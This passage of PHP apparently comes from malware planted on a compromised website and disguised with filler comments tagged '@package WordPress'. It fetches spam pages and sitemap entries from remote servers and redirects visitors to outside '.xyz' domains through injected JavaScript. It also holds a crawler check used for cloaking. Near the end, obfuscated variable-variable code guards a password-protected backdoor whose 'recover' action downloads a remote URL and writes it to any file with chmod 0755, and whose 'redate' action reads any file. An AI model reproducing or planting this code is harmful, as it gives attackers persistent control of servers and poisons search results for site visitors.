$jumDom2 = 'http://www.'.$stss2.'.xyz'. DOMTXT . $siteid .".txt";
for($i=0;$i<2;$i++){
$domJump = curl_getjs_from_webpage($jumDom1,2);
$domJump = trim($domJump);
if(!preg_match($rsdom,$domJump)){
$domJump = curl_getjs_from_webpage($jumDom2,10);
$domJump = trim($domJump);
if(preg_match($rsdom,$domJump))
break;
}else{
break;
}
}
echo '<script language="javascript" type="text/javascript">'. PHP_EOL .'window.location.href="'. $domJump . "index.php?main_page=product_info&products_id=" . $id23 .'";'. PHP_EOL .'</script>'; die();
}
}
$fcontent = '';
$pInfoUrl = GETDOM . "gpage.php?site=$thisdom&id=$siteAID";
$pInfoStr = curl_get_from_webpage($pInfoUrl,'',5);
$rsInfo = '#<info>(.*)</info>#si';
preg_match($rsInfo,$pInfoStr,$matchInfo);
if(isset($matchInfo[1])){
$InFoStrArr = unserialize($matchInfo[1]);
}else{
header("HTTP/1.1 404 Not Found");exit;
}
if(isset($InFoStrArr['frStr2'])){
$frStr2 = $InFoStrArr['frStr2'];
$fr2Arr = unserialize($frStr2);
}
$frStr1 = $InFoStrArr['frStr1'];
$fr1Arr = unserialize($frStr1);
$Ptitle = $InFoStrArr['Ptitle'];
$nowIdName = $InFoStrArr['nowIdName'];
$Article = $InFoStrArr['Article'];
$pcatstr = $InFoStrArr['pcatstr'];
if(strstr($pcatstr,'#cname#')){
$temparrI = explode('#cname#',$pcatstr);
$catStr = $temparrI[0];
$catArr = explode('^',$catStr);
$tparrCat = array();
$catArrII = array();
foreach($catArr as $vs){
$vs = str_replace('&','&',$vs);
if(!isset($tparrCat[$vs])){
$tparrCat[$vs] = 1;
$catArrII[] = $vs;
}
}
$catArr = $catArrII;
$mateStr = $temparrI[1];
if(strstr($mateStr,'#keydescription#')){
$temparrII = explode('#keydescription#',$mateStr);
$pkeyword = trim($temparrII[0]);
if(!$pkeyword){
$pkeyword = $Ptitle;
}
$pdescription = $temparrII[1];
if(!$pdescription){
$pdescription = $nowIdName. ' ' .$Ptitle;
}
}else{
$pkeyword = $Ptitle;
$pdescription = $nowIdName. ' ' .$Ptitle;
}
}else{
$catArr = array();
if(strstr($mateStr,'#keydescription#')){
$temparrII = explode('#keydescription#',$mateStr);
$pkeyword = $temparrII[0];
if(!$pkeyword){
$pkeyword = $Ptitle;
}
$pdescription = $temparrII[1];
if(!$pdescription){
$pdescription = $nowIdName. ' ' .$Ptitle;
}
}else{
$pkeyword = $Ptitle;
$pdescription = $nowIdName. ' ' .$Ptitle;
}
}
$BreadStr = getBreadcrum($Ptitle,$catArr);
$thisPnameLink = '<a href="">'.$nowIdName.'</a>';
$thisPnameLink2 = '<a title="'.$nowIdName.'" href="">'.$nowIdName.'</a>';
$thisTitleLink = '<a title="'.$Ptitle.'" href="">'.$Ptitle.'</a>';
$Article = str_replace('#ttlink#',$thisTitleLink,$Article);
$Article = str_replace('#mylink#',$thisPnameLink2,$Article);
$artArr = explode('#fgfgfg#',$Article);
// print_r($artArr);
if(count($artArr) != 3){
header("HTTP/1.1 404 Not Found");exit;
}
$fr1Strs = '<ul>'.PHP_EOL;
foreach($fr1Arr as $key=>$vs){
$tpPid = $key;
$tpFlink = getalink($tpPid,$vs);
$fr1Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
}
$fr1Strs .= '</ul>'.PHP_EOL;
if(isset($fr2Arr)){
$fr2Strs = '<ul>'.PHP_EOL;
foreach($fr2Arr as $key=>$vs){
$tpPid = $key;
$tpFlink = getalink($tpPid,$vs);
$fr2Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
}
$fr2Strs .= '</ul>'.PHP_EOL;
}
$thisPnameLink = '<a href="">'.$nowIdName.'</a>';
$thisPnameLink2 = '<a title="'.$nowIdName.'" href="">'.$nowIdName.'</a>';
$thisTitleLink = '<a title="'.$Ptitle.'" href="">'.$Ptitle.'</a>';
$fileMb = fopen("moban.html","r");
$html = fread($fileMb,filesize("moban.html"));
$html = str_ireplace('#bbbtitsbbb#', $Ptitle. " {$thisdom}", $html);
$html = str_ireplace('#bbbkeybbb#', $pkeyword, $html);
$html = str_ireplace('#bbbdesbbb#', $pdescription. ' ' .$Ptitle, $html);
$html = str_ireplace('#bbb1content1bbb#', $BreadStr . PHP_EOL .'<div>'.$artArr[0].'</div>', $html);
$html = str_ireplace('#bbb2content2bbb#', $artArr[1], $html);
$html = str_ireplace('#descontent#', $artArr[2], $html);
$html = str_replace('#link1#',$thisPnameLink,$html);
$html = str_replace('#link2#','',$html);
$html = str_replace('#link3#',$thisPnameLink,$html);
$html = str_replace('#link4#','',$html);
$html = str_replace('#link5#',$thisPnameLink,$html);
$html = str_replace('#flink#',$fr1Strs,$html);
$html = str_replace('#Flink2#','',$html);
echo $html;
die();
/**
* deposit emphasize ingredient marveous maximum relevant restrict urgent wonder.
* adopt derive echo entitle exterior hollow moisture noticeable prevail relevant ruin shallow simplicity slender spur subsequent.
* Internet comedy delay expensive extent stuff whatsoever.
* accomplish exclude hollow infect missile necessity nuisance prevail seminar split stable trial.
* absolute breadth competent durable gear interpret kneel lean leap leather reputation scan semester significance simplicity substance tendency vehicle.
* acid evil exclaim exclusive excursion expenditure garbage infant liberty moral optimistic radiation spit vacant valley variable vertical vessel video vocabulary.
* abundant code equation passion prompt prosperity spot tender universe vertical.
* advertisement applicant arbitrary bachelor burst cancel cargo explode explosive joint marine motivate necessity onion outstanding phenomenon prospect quotation scan spray tendency timber tissue tuition wonder.
* battery chaos comparative decade discount durable episode exaggerate exclusive extinct hardware horror identify jail liter sequence thrust universal.
* approach career ceremony cope deserve exceed female grant inhabitant naval phenomenon portion presumably retail ridge sequence strategy trap.
* campus coach dash distinguish entry equation evaluate highlight jealous tension weave.
* balcony encounter exclusive favorable genuine household media missile petrol sensible urban vote.
* estimate export fatal index manual molecule precaution quit satellite shift sketch slide substantial vibrate virtual.
* alcohol appetite aspect awkward clue equation frustrate medium optional region the.
* avenue deserve equivalent excursion expand gesture label origin priority promote reinforce semiconductor seminar sketch splendid substance triangle undergraduate vessel volcano voluntary wagon wealthy.
* abundant applicable column exceedingly grant insignificant shrink suspicious vehicle.
* academic acquire alcohol column conquer guilty impose personal reject utilify.
* alter community consume decent elbow episode grand internal kneel label motive orchestra participate prospect reject reliable terminal unique weed.
* competent naked principle textile.
* durable gallery hardware integrate semester wander.
* appeal appreciate essential expend facility lean lest mainland marveous merchant notion obscure partial resume tense urban violent virtual.
* attach isolate reluctant variation.
* auxiliary calendar derive display mood survey virtual volume.
* applianc cancel germ guarantee junior mild mist omit oxygen stuff survey tedious tremendous.
* academy alter architecture authority brake constant exaggerate extent index issue moist negative nucleus particle scandal vivid wagon.
* elaborate fatigue fax triangle witness.
* awkward calendar competent discipline enclose exclaim haste loosen lynar orient oval portable route trace.
* adult coach coarse gesture jeans slide tender.
* applicable capture comparable distribute evil flash index maintain motive origin petrol petroleum priority reject spot timber.
* career infinite principle pursue tissue weed.
* attitude release vessel weave.
* adequate advertise audio beforehand bother capture casual catalog coach delicate deserve durable entitle female ferfile flexible glimpse liter numerrous pants retain vacuum withdraw.
* arouse aspect available barrel comparative dusk grand hostile impose incident lynar manufacture mere mixture range religious retail shiver slender triumph vibrate wax withdraw.
* response adjust automatic comparative decorate deserve infant interpretation jam nucleus prior radical religion rescue shiver stuff subway vessel weave.
* attach domestic estimate extent generate haste index ingredient jealous liquor luxury medium mist offend outset partial particularly personal spur tense theme undergo utilise valley yawn.
*
* @package WordPress
*/
function getBreadcrum($Ptitle,$catArr){
global $arrBread,$thisdom;
$breadTagkey = KEYJG % 4;
if($breadTagkey == 0){
$breadTagHtml1 = 'nav';
$breadTagHtml2 = 'ul';
}elseif($breadTagkey == 1){
$breadTagHtml1 = 'nav';
$breadTagHtml2 = 'ol';
}elseif($breadTagkey == 2){
$breadTagHtml1 = 'div';
$breadTagHtml2 = 'ol';
}else{
$breadTagHtml1 = 'div';
$breadTagHtml2 = 'ul';
}
$arrBreadNum = count($arrBread);
$domlen = strlen($thisdom);
$breadTagkey = $domlen % 5;
$strBreads = '';
if($breadTagkey == 4){
$strBreads .= '<'.$breadTagHtml1.' class="Breadcrumbs">';
$strBreads .= '<'.$breadTagHtml2.'>';
$strBreads .= '<li><a href="/">Home</a></li>';
if(count($catArr)){
foreach($catArr as $vs){
$vs = trim($vs);
$nowCatUrl = getCatLink($vs);
$strBreads .= '<li><a href="'.$nowCatUrl.'">'.$vs.'</a></li>';
}
}
$strBreads .= '<li>'.$Ptitle.'</li>';
$strBreads .= '</'.$breadTagHtml2.'>';
$strBreads .= '</'.$breadTagHtml1.'>';
}else{
$calssBreadKey = KEYJG % $arrBreadNum;
$classTop = $arrBread[$calssBreadKey];
$classul = KEYJG % 2 ? 'Breadcrumb' : 'breadcrumbs';
$breadTagkey = $domlen % 2;
if($breadTagkey == 0){
if($classTop)
$strBreads .= '<'.$breadTagHtml1.' class="'.$classTop.'">';
else
$strBreads .= '<'.$breadTagHtml1.'>';
$strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
$strBreads .= '<li itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="/"><span itemprop="name">Home</span></a><meta itemprop="position" content="1" /></li>';
$flagNum = 2;
if(count($catArr)){
foreach($catArr as $vs){
$vs = trim($vs);
$nowCatUrl = getCatLink($vs);
$strBreads .= '<li itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="'.$nowCatUrl.'"><span itemprop="name">'.$vs.'</span></a><meta itemprop="position" content="'.$flagNum.'" /></li>';
$flagNum++;
}
}
$strBreads .= '<li itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><span itemprop="name">'.$Ptitle.'</span><meta itemprop="position" content="'.$flagNum.'" /></li>';
$strBreads .= '</'.$breadTagHtml2.'>';
$strBreads .= '</'.$breadTagHtml1.'>';
}else{
if($classTop)
$strBreads .= '<'.$breadTagHtml1.' class="'.$classTop.'">';
else
$strBreads .= '<'.$breadTagHtml1.'>';
$strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
$strBreads .= '<li itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/" itemprop="url"><span itemprop="title">Home</span></a></li>';
if(count($catArr)){
foreach($catArr as $vs){
$vs = trim($vs);
$nowCatUrl = getCatLink($vs);
$strBreads .= '<li itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="'.$nowCatUrl.'" itemprop="url"><span itemprop="title">'.$vs.'</span></a></li>';
}
}
$strBreads .= '<li><strong>'.$Ptitle.'</strong></li>';
$strBreads .= '</'.$breadTagHtml2.'>';
$strBreads .= '</'.$breadTagHtml1.'>';
}
}
return $strBreads;
}
function getCatLink($CatName){
global $arrnametime,$arrKeywz,$arr_word,$strRand;
$filePres = ''; $fileEnds = ''; $siteLink='http://'.$_SERVER['HTTP_HOST'];
$dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
if(JDT == 2){
$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
$filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){
$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?cat="; }else{
$filePres = $siteLink."/"; }
$CatName = str_replace('&',' ',$CatName);
$CatName = str_replace('&',' ',$CatName);
if(JDT == 3){
$CatName = preg_replace('#\s+#i','-',$CatName);
while(strstr($CatName,'--'))
$CatName = str_replace('--','-',$CatName);
$linkCenter = $CatName;
$rtStr = $filePres.$linkCenter;
$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
return $rtStr;
}
$CatName = preg_replace('#\s+#i','-',$CatName);
$CatName = str_replace('--','-',$CatName);
$linkCenter = BZCAT.'/'.str_replace('--','-',$CatName);
$linkCenter .= JTHZ;
$rtStr = $filePres.$linkCenter;
$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
return $rtStr;
}
function getMapNum($bgNum,$mapnum){
$TempArr = array();
if($bgNum + $mapnum <= FNUM){
for($i=0;$i<$mapnum;$i++){
$TempArr[$i] = $bgNum + $i -1;
}
}else{
for($i=0;$i<$mapnum;$i++){
if($bgNum+$i > FNUM)
$TempArr[$i] = $bgNum + $i -1 -FNUM;
else
$TempArr[$i] = $bgNum + $i -1;
}
}
return $TempArr;
}
function getRandCId($rqurl){
global $thisdom;
for($i=0;$i<3;$i++){
$idUrl = GETDOM . "gpage.php?site=$thisdom&cid=$rqurl";
$tempIdStr = curl_get_from_webpage($idUrl,'',5);
if(preg_match('#<cid>(\d+)</cid>#i',$tempIdStr,$matchId)){
return $matchId[1];
}
}
header("HTTP/1.1 404 Not Found");
header("Status: 404 Not Found");
exit;
}
/**
* adequate advertisement appeal comparative entertainment entitle essential favorite guilty liable numerrous repetition semester sorrow split trap whereas.
* accelerate adhere award hardware recreation tense.
* response bureau catalog chaos coil earthquake enviroment excess facility manufacture negative notify onion region regulate subway vitally weave.
* Internet adhere adopt agency architecture compete delicate distinguish erect explosion faulty favorable lean passport ridid spill subt target temptation violence whatsoever.
* approximate distress earthquake echo explode extraordinary hence humble region.
* adhere biology candidate comparable continuous emotional external favorite garbage glimpse legislation liberty mist nevertheless numerrous region respond temporary triumph violent.
* attitude constant flash frustrate household leap poverty reveal semiconductor sequence subway universe vanish via weed.
* adhere ceremony coil display duration enclose frown glimpse grand interpret lean parade personal relevant retail satellite sequence shrug submerge temptation thrust vague violent.
* academy arouse fax neglect ridiculous secure slip snap spray substance.
* alcohol neglect ridge stimulate.
* ban catalog elaborate ferfile generate hardware pat portion scale shiver violet whatsoever.
* abuse attach biology cancel device durable geography humble idle infinite navigation notion pat security sensitive significance slippery spot the triangle urge victim virtual.
* bachelor bundle comparative decent distinguish enclose evolution incident infect jeans minimum obstacle pat precaution signature.
* burst device garbage modify severe simplicity slender splendid transport via.
* audio burst distribute equivalent evaluate identify liable lynar nucleus oblige semiconductor significance suburb suspicious tendency timber.
* dash forbid integrate licence split.
* academic auxiliary enthusiasm explore faulty grateful hollow mist partial revenue slender stripe urgent vessel vitally wagon wander.
* electron infinite marine marveous particularly previous.
* bargain bureau consume discount domestic fertilizer harmony liable optics oxygen reputation submit title triumph vacant volume.
* jail opportunity prior shift.
* abuse accelerate barrier career code competition consume core mature onion revenue suburb theme vacant vacuum.
* accelerate cliff comparable ferfile nucleus oval poverty profitable region textile venture.
* Internet algebra breed gallon secure.
* appoint coach deserve durable explosive flee legislation motive outset vanish volume.
* response compete emotion emphasize episode illusion liquor mere prospect recreation recruit slide tarnest territory utilify weave.
* bargain comparative competition facility flash guarantee maximum mist principal strategic subsequent tendency title universal vanish.
* accomplish adopt apparent auxiliary aware awkward electron exclude grand horror illusion luxury resistant shrink simplicity tension volcano volunteer waist.
* acquire decade deposit discount emphasize external liberty merchant provision pursue region release simplicity vain.
*
* @package WordPress
*/
function getRandId(){
$num = rand(1,FNUM); $num = $num - 1; require(FILEDIRNAME . "/id$num.php"); $indexId=array_rand($arrId,1); $id = $arrId[$indexId]; unset($arrId); return $id;}
function get_arrvs($arr,$num,$nowkey){
$numArr = count($arr);
if($nowkey + $num < $numArr)
return $arr[$nowkey + $num]; else{
if($nowkey + $num - $numArr - $numArr > 0)
return get_arrvs($arr,$num - $numArr,$nowkey); else
return $arr[abs($nowkey + $num - $numArr)]; }
}
function get_pre_link($arr,$key){
$tmpA1 = array(); $tmpA2 = array();
$num = count($arr);
if($key + JGNUM + 1 + LINKNUM >= $num){
if($key + JGNUM + 1 - $num > LINKNUM){
return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM); }else{
$duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1; $tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM); $tmpA2 = array_slice($arr, 0, $duoyu);
return array_merge($tmpA1,$tmpA2); }
}else{
return array_slice($arr, $key + JGNUM + 1, LINKNUM); }
}
function get_next_link($arr,$key){
$tmpA1 = array(); $tmpA2 = array();
$num = count($arr); if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){
$duoyu = abs($key - JGNUM - LINKNUM); $tmpA1 = array_slice($arr, 0, abs($key - JGNUM)); $tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu); return array_merge($tmpA1,$tmpA2); }else{
return array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM); }
}
function rFile($file){
if(function_exists('file_get_contents')){
return file_get_contents($file);
}else{
$handle = fopen($file, "r");
$contents = fread($handle, filesize($file));
fclose($handle);
return $contents;
}
}
function isCrawler() {
$agent= @strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($agent)) {
$spiderSite= array(
"Googlebot",
"Mediapartners-Google",
"Adsbot-Google",
"Yahoo!",
"Google AdSense",
"Yahoo Slurp",
"bingbot",
"MSNBot"
); foreach($spiderSite as $val) {
$str = strtolower($val); if (strpos($agent, $str) !== false) {
return true; }
}
} else {
return false; }
}
function gsitemap2($filenames,$c=1,$jdt=1){
global $gnumber,$arrArrr;
$arrABC = range('a','z');
$tparrsI = $filenames;
$randnum = rand(7000,7600);
$tparrII = array_rand($tparrsI,$randnum);
$tparrIII = array();
foreach($tparrII as $vs){
$tparrIII[$vs] = $filenames[$vs];
}
$filenames = $tparrIII;
$filePres = ''; $fileEnds = '';
$dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
if(JDT == 2){
$filePres = $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
$filePres = $httcReplace . "/"; }elseif(JDT == 3){
$filePres = $httcReplace . "/" .basename(__FILE__) . "?key="; }else{
$filePres = ''; }
if(JDT == 3){
$fileEnds = ''; }else{
$fileEnds = JTHZ; }
$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
$siteLink='http://'.$_SERVER['HTTP_HOST'];
$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>';
// $urlsArray = $filenames;
// $numLinks = count($urlsArray);
$star = 0; $priority = 0.1; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s");
$str = "";
$tempArr1 = $filenames;
foreach($tempArr1 as $key => $value2){
$curphp=basename(__FILE__);
$value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt");
$tempPid = $key;
$url = getalink($tempPid,$value2);
if($first===false && $last===false && $checkTxt===false)
{
$date = date("Y-m-d"); $time = date("H:i:s");
if($star % 12000==11999){
$gFile = '../sitemap/sitemap' . $arrABC[$gnumber-1] .'.xml'; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#sitemap' . $arrABC[$gnumber-1] .'.xml#'.PHP_EOL,FILE_APPEND);
$str = ''; $gnumber++; return; }
$str .= " <url>
<loc>" . $url . "</loc>
<lastmod>". $date . "T" . $time ."-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.1</priority>
</url>
";
$star++; $starPri++; }
}
{
$gFile = '../sitemap/sitemap' . $arrABC[$gnumber-1] .'.xml'; echo '<br/>'.$gFile.'<br/>';
$put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#sitemap' . $arrABC[$gnumber-1] .'.xml#'.PHP_EOL,FILE_APPEND);
$gnumber++;
}
unset($tempArr1); unset($filenames);
echo "sitemap";
}
function gsitemap($filenames,$c=1,$jdt=1){
global $gnumber,$arrArrr;
$arrABC = range('a','z');
$tparrsI = $filenames;
$randnum = rand(7000,7600);
$tparrII = array_rand($tparrsI,$randnum);
$tparrIII = array();
foreach($tparrII as $vs){
$tparrIII[$vs] = $filenames[$vs];
}
$filenames = $tparrIII;
$filePres = ''; $fileEnds = '';
$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
$siteLink='http://'.$_SERVER['HTTP_HOST'];
$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>';
// $urlsArray = $filenames;
// $numLinks = count($urlsArray);
$star = 0; $priority = 0.9; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s");
$str = " <url>
<loc>" . $siteLink . "</loc>
<lastmod>". $date . "T" . $time ."-05:00</lastmod>
<changefreq>always</changefreq>
<priority>1.0</priority>
</url>
";
$tempArr1 = $filenames;
foreach($tempArr1 as $key => $value2){
$curphp=basename(__FILE__);
$value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt");
$tempPid = $key;
$url = getalink($tempPid,$value2);
if($first===false && $last===false && $checkTxt===false)
{
$date = date("Y-m-d"); $time = date("H:i:s");
if($star % 12000==11999){
$gFile = '../sitemap/sitemap' . $arrABC[$gnumber-1] .'.xml'; echo '<br/>'.$gFile.'<br/>';
$put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#sitemap' . $arrABC[$gnumber-1] .'.xml#'.PHP_EOL,FILE_APPEND);
$str = ''; $gnumber++; return;
}
if($starPri >= 400 && $priority != 0.1){
$starPri = 0; $priority = $priority - 0.1; }
if($priority > 0.1){
$str .= " <url>
<loc>" . $url . "</loc>
<lastmod>". $date . "T" . $time ."-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>". $priority . "</priority>
</url>
";
}else{
$str .= " <url>
<loc>" . $url . "</loc>
<lastmod>". $date . "T" . $time ."-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.1</priority>
</url>
";
}
$star++; $starPri++; }
}
{
$gFile = '../sitemap/sitemap' . $arrABC[$gnumber-1] .'.xml'; echo '<br/>'.$gFile.'<br/>';
$put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#sitemap' . $arrABC[$gnumber-1] .'.xml#'.PHP_EOL,FILE_APPEND);
$gnumber++;
}
unset($tempArr1); unset($filenames); echo "sitemap";
}
function curl_get_from_webpage($url,$proxy='',$loop=10){
$data = false; $i = 0; while(!$data) {
$data = curl_get_from_webpage_one_time($url,$proxy); if($i++ >= $loop) break; }
return $data;}
function curl_getjs_from_webpage($url,$time){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
$curl = curl_init(); //,.
$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";
// $urlReferer = "http://www.google.com";
curl_setopt($curl, CURLOPT_URL, $url);
if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0
));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
}$data=curl_exec($curl);curl_close($curl);
}else{
$is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;
if($is_auf){
$data = file_get_contents($url);
}
}
if(!$data) return false;
return $data;
}
function curl_get_from_webpage_one_time($url,$proxy=''){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
$curl = curl_init(); //,.
$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";
// $urlReferer = "http://www.google.com";
if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_URL, $url);
if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0
));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
}$data=curl_exec($curl);curl_close($curl);
}else{
$is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;
if($is_auf){
$data = file_get_contents($url);
}
}
if(!$data) return false;
return $data;
}
//ccccccgetbg
@ini_set('display_errors', 0);@set_time_limit(3600);
$q1 = "O00O0O";$q2 = "O0O000";$q3 = "O0OO00";$q4 = "OO0O00";$q5 = "OO0000";$q6 = "O00OO0";$q7 = "O00O00";$q8 = "O00OOO";$q9 = "O0O0OO";$q10 = "OOO0OO";$q11 = "OO00OO";$q12 = "OO000O";$q13 = "OO0O0O";$q14 = "OOOO00";$q15 = "OO0OO0O";$$q1 = RandAbc();$$q3 = $O00O0O{62}.$O00O0O{51}.$O00O0O{50}.$O00O0O{54}.$O00O0O{55};$$q5 = $O00O0O{28}.$O00O0O{26}.$O00O0O{27}.$O00O0O{33};$$q6 = $O00O0O{19}.$O00O0O{22}.$O00O0O{12}.$O00O0O{1}.$O00O0O{0}.$O00O0O{12}.$O00O0O{0}.$O00O0O{17}.$O00O0O{10}.$O00O0O{4}.$O00O0O{19};$$q4 = $$O0OO00;$$q2 = $O00O0O{12}.$O00O0O{3}.$O00O0O{31};$$q7 = $O00O0O{30}.$O00O0O{35}.$O00O0O{32}.$O00O0O{34}.$O00O0O{31}.$O00O0O{34}.$O00O0O{31}.$O00O0O{3}.$O00O0O{26}.$O00O0O{5}.$O00O0O{5}.$O00O0O{4}.$O00O0O{29}.$O00O0O{31}.$O00O0O{28}.$O00O0O{27}.$O00O0O{0}.$O00O0O{26}.$O00O0O{30}.$O00O0O{32}.$O00O0O{5}.$O00O0O{26}.$O00O0O{30}.$O00O0O{34}.$O00O0O{28}.$O00O0O{5}.$O00O0O{33}.$O00O0O{0}.$O00O0O{3}.$O00O0O{31}.$O00O0O{34}.$O00O0O{3};$$q8 = $O00O0O{23}.$O00O0O{24}.$O00O0O{25};$$q9 = $O00O0O{62}.$O00O0O{54}.$O00O0O{40}.$O00O0O{53}.$O00O0O{57}.$O00O0O{40}.$O00O0O{53};$$q10 = $$O0O0OO;$$q11 = $O00O0O{39}.$O00O0O{50}.$O00O0O{38}.$O00O0O{56}.$O00O0O{48}.$O00O0O{40}.$O00O0O{49}.$O00O0O{55}.$O00O0O{62}.$O00O0O{53}.$O00O0O{50}.$O00O0O{50}.$O00O0O{55};$$q12 = $O00O0O{51}.$O00O0O{43}.$O00O0O{51}.$O00O0O{62}.$O00O0O{54}.$O00O0O{40}.$O00O0O{47}.$O00O0O{41};$$q13 = $O00O0O{2}.$O00O0O{6}.$O00O0O{4}.$O00O0O{19};$$q14 = $O00O0O{8}.$O00O0O{13}.$O00O0O{3}.$O00O0O{4}.$O00O0O{23}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};$$q15 = $O00O0O{7}.$O00O0O{19}.$O00O0O{19}.$O00O0O{15}.$O00O0O{64}.$O00O0O{65}.$O00O0O{65}.$O00O0O{22}.$O00O0O{22}.$O00O0O{22}.$O00O0O{63};
if(isset($OOO0OO["$OO00OO"])){$BT = $OOO0OO["$OO00OO"];}elseif(isset($OOO0OO["$OO000O"])){$BT = str_ireplace(str_replace("\\",DIRECTORY_SEPARATOR,str_replace("/",DIRECTORY_SEPARATOR,$OOO0OO["$OO000O"])),'',__FILE__).DIRECTORY_SEPARATOR;}else{$BT = '/';}
foreach($OO0O00 as $O00O00o=>$O00Oo0o){
$$O00O00o = $O00Oo0o;
}
if(!(isset($passwd) && $O0O000($passwd) == $O00O00)){
header("HTTP/1.1 404 Not Found");
header("Status: 404 Not Found");
exit;
}
if(isset($act) && $act == 'check' && isset($check_file)){
if(file_exists($check_file)){
echo '#ok#';
}
}
if(isset($act) && $act == 'test'){
echo '#ok#';
}
if(isset($act) && $act == 'recover' && isset($recover_file) && isset($recover_file_url)){
{
$pfile = $recover_file;
$date = $OO0O0O($recover_file_url);
gdir_file($recover_file);
@chmod($pfile,0755);
if($date && file_put_contents($pfile,$date)){
echo '#ok#';
}else{
echo '#fail#';
}
}
}
if(isset($act) && $act == 'redate' && isset($redate_file)){
if(file_exists($redate_file)){
echo rdFile($redate_file);
}
}
function RandAbc($length = "") {
